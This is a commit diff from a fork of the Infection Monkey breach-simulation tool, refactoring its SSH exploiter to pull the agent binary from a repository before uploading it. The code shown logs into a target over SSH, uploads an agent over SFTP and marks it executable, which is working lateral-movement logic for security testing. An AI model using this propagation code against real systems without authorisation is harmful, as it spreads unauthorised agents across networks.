forked from p15670423/monkey
Agent: Use IAgentRepository in SSHExploiter
This commit is contained in:
parent
cc9cfc5e3b
commit
c93835245c
|
@ -4,12 +4,11 @@ import time
|
|||
|
||||
import paramiko
|
||||
|
||||
import infection_monkey.monkeyfs as monkeyfs
|
||||
from common.utils.attack_utils import ScanStatus
|
||||
from common.utils.exceptions import FailedExploitationError
|
||||
from common.utils.exploit_enum import ExploitType
|
||||
from infection_monkey.exploit.HostExploiter import HostExploiter
|
||||
from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_target_monkey
|
||||
from infection_monkey.exploit.tools.helpers import get_monkey_depth
|
||||
from infection_monkey.i_puppet import ExploiterResultData
|
||||
from infection_monkey.model import MONKEY_ARG
|
||||
from infection_monkey.network.tools import check_tcp_port, get_interface_to_target
|
||||
|
@ -133,7 +132,6 @@ class SSHExploiter(HostExploiter):
|
|||
_, stdout, _ = ssh.exec_command("uname -o")
|
||||
uname_os = stdout.read().lower().strip().decode()
|
||||
if "linux" in uname_os:
|
||||
self.host.os["type"] = "linux"
|
||||
self.exploit_result.os = "linux"
|
||||
else:
|
||||
self.exploit_result.error_message = f"SSH Skipping unknown os: {uname_os}"
|
||||
|
@ -149,9 +147,9 @@ class SSHExploiter(HostExploiter):
|
|||
logger.error(self.exploit_result.error_message)
|
||||
return self.exploit_result
|
||||
|
||||
src_path = get_target_monkey(self.host)
|
||||
agent_binary_file_object = self.agent_repository.get_agent_binary(self.exploit_result.os)
|
||||
|
||||
if not src_path:
|
||||
if not agent_binary_file_object:
|
||||
self.exploit_result.error_message = (
|
||||
f"Can't find suitable monkey executable for host {self.host}"
|
||||
)
|
||||
|
@ -160,19 +158,17 @@ class SSHExploiter(HostExploiter):
|
|||
return self.exploit_result
|
||||
|
||||
try:
|
||||
ftp = ssh.open_sftp()
|
||||
|
||||
self._update_timestamp = time.time()
|
||||
with monkeyfs.open(src_path) as file_obj:
|
||||
with ssh.open_sftp() as ftp:
|
||||
self._update_timestamp = time.time()
|
||||
ftp.putfo(
|
||||
file_obj,
|
||||
agent_binary_file_object,
|
||||
self.options["dropper_target_path_linux"],
|
||||
file_size=monkeyfs.getsize(src_path),
|
||||
file_size=len(agent_binary_file_object.getbuffer()),
|
||||
callback=self.log_transfer,
|
||||
)
|
||||
self._make_agent_executable(ftp)
|
||||
status = ScanStatus.USED
|
||||
ftp.close()
|
||||
self._set_executable_bit_on_agent_binary(ftp)
|
||||
|
||||
status = ScanStatus.USED
|
||||
except Exception as exc:
|
||||
self.exploit_result.error_message = (
|
||||
f"Error uploading file into victim {self.host}: ({exc})"
|
||||
|
@ -182,7 +178,10 @@ class SSHExploiter(HostExploiter):
|
|||
|
||||
self.telemetry_messenger.send_telemetry(
|
||||
T1105Telem(
|
||||
status, get_interface_to_target(self.host.ip_addr), self.host.ip_addr, src_path
|
||||
status,
|
||||
get_interface_to_target(self.host.ip_addr),
|
||||
self.host.ip_addr,
|
||||
self.options["dropper_target_path_linux"],
|
||||
)
|
||||
)
|
||||
if status == ScanStatus.SCANNED:
|
||||
|
@ -215,7 +214,7 @@ class SSHExploiter(HostExploiter):
|
|||
logger.error(self.exploit_result.error_message)
|
||||
return self.exploit_result
|
||||
|
||||
def _make_agent_executable(self, ftp: paramiko.sftp_client.SFTPClient):
|
||||
def _set_executable_bit_on_agent_binary(self, ftp: paramiko.sftp_client.SFTPClient):
|
||||
ftp.chmod(self.options["dropper_target_path_linux"], 0o700)
|
||||
self.telemetry_messenger.send_telemetry(
|
||||
T1222Telem(
|
||||
|
|
Loading…
Reference in New Issue